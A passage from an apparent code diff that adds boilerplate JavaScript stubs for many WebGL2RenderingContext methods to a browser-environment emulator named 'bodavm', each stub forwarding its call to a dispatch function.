bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindAttribLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBufferBase", { + configurable: true, + enumerable: true, + writable: true, + value: function bindBufferBase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBufferBase", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBufferRange", { + configurable: true, + enumerable: true, + writable: true, + value: function bindBufferRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBufferRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindSampler", { + configurable: true, + enumerable: true, + writable: true, + value: function bindSampler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindSampler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function bindTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindVertexArray", { + configurable: true, + enumerable: true, + writable: true, + value: function bindVertexArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindVertexArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendColor", { + configurable: true, + enumerable: true, + writable: true, + value: function blendColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendColor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendEquation", { + configurable: true, + enumerable: true, + writable: true, + value: function blendEquation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendEquation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendEquationSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function blendEquationSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendEquationSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function blendFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendFuncSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function blendFuncSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendFuncSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blitFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function blitFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blitFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bufferData", { + configurable: true, + enumerable: true, + writable: true, + value: function bufferData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bufferData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bufferSubData", { + configurable: true, + enumerable: true, + writable: true, + value: function bufferSubData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bufferSubData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "checkFramebufferStatus", { + configurable: true, + enumerable: true, + writable: true, + value: function checkFramebufferStatus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "checkFramebufferStatus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clientWaitSync", { + configurable: true, + enumerable: true, + writable: true, + value: function clientWaitSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clientWaitSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compileShader", { + configurable: true, + enumerable: true, + writable: true, + value: function compileShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compileShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexSubImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexSubImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexSubImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyBufferSubData", { + configurable: true, + enumerable: true, + writable: true, + value: function copyBufferSubData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyBufferSubData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexSubImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexSubImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexSubImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function createProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function createQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createSampler", { + configurable: true, + enumerable: true, + writable: true, + value: function createSampler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createSampler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createShader", { + configurable: true, + enumerable: true, + writable: true, + value: function createShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function createTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function createTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createVertexArray", { + configurable: true, + enumerable: true, + writable: true, + value: function createVertexArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createVertexArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "cullFace", { + configurable: true, + enumerable: true, + writable: true, + value: function cullFace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "cullFace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteSampler", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteSampler() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteSampler", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteShader", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteSync", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteVertexArray", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteVertexArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteVertexArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function depthFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthMask", { + configurable: true, + enumerable: true, + writable: true, + value: function depthMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthRange", { + configurable: true, + enumerable: true, + writable: true, + value: function depthRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "detachShader", { + configurable: true, + enumerable: true, + writable: true, + value: function detachShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "detachShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "disable", { + configurable: true, + enumerable: true, + writable: true, + value: function disable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "disable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawArraysInstanced", { + configurable: true, + enumerable: true, + writable: true, + value: function drawArraysInstanced() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawArraysInstanced", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawElementsInstanced", { + configurable: true, + enumerable: true, + writable: true, + value: function drawElementsInstanced() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawElementsInstanced", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawRangeElements", { + configurable: true, + enumerable: true, + writable: true, + value: function drawRangeElements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawRangeElements", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "enable", { + configurable: true, + enumerable: true, + writable: true, + value: function enable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "enable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "endQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function endQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "endQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "endTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function endTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "endTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "fenceSync", { + configurable: true, + enumerable: true, + writable: true, + value: function fenceSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "fenceSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "finish", { + configurable: true, + enumerable: true, + writable: true, + value: function finish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "finish", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferTexture2D", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferTexture2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferTexture2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "framebufferTextureLayer", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferTextureLayer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "framebufferTextureLayer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "frontFace", { + configurable: true, + enumerable: true, + writable: true, + value: function frontFace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "frontFace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "generateMipmap", { + configurable: true, + enumerable: true, + writable: true, + value: function generateMipmap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "generateMipmap", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveAttrib", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveAttrib() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveAttrib", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniformBlockName", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniformBlockName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniformBlockName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniformBlockParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniformBlockParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniformBlockParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getActiveUniforms", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniforms() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getActiveUniforms", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getAttachedShaders", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttachedShaders() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getAttachedShaders", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getAttribLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttribLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getAttribLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getBufferParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getBufferParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getBufferParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getBufferSubData", { + configurable: true, + enumerable: true, + writable: true, + value: function getBufferSubData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getBufferSubData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getContextAttributes", { + configurable: true, + enumerable: true, + writable: true, + value: function getContextAttributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getContextAttributes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getError", { + configurable: true, + enumerable: true, + writable: true, + value: function getError() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getError", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getExtension", { + configurable: true, + enumerable: true, + writable: true, + value: function getExtension() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getExtension", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getFragDataLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getFragDataLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getFragDataLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getFramebufferAttachmentParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getFramebufferAttachmentParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getFramebufferAttachmentParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getIndexedParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getIndexedParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getIndexedParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getInternalformatParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getInternalformatParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getInternalformatParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getProgramInfoLog", { + configurable: true, + enumerable: true, + writable: true, + value: function getProgramInfoLog() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getProgramInfoLog", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getProgramParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getProgramParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getProgramParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function getQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getQueryParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getQueryParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getQueryParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getRenderbufferParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getRenderbufferParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getRenderbufferParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSamplerParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getSamplerParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSamplerParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderInfoLog", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderInfoLog() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderInfoLog", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', 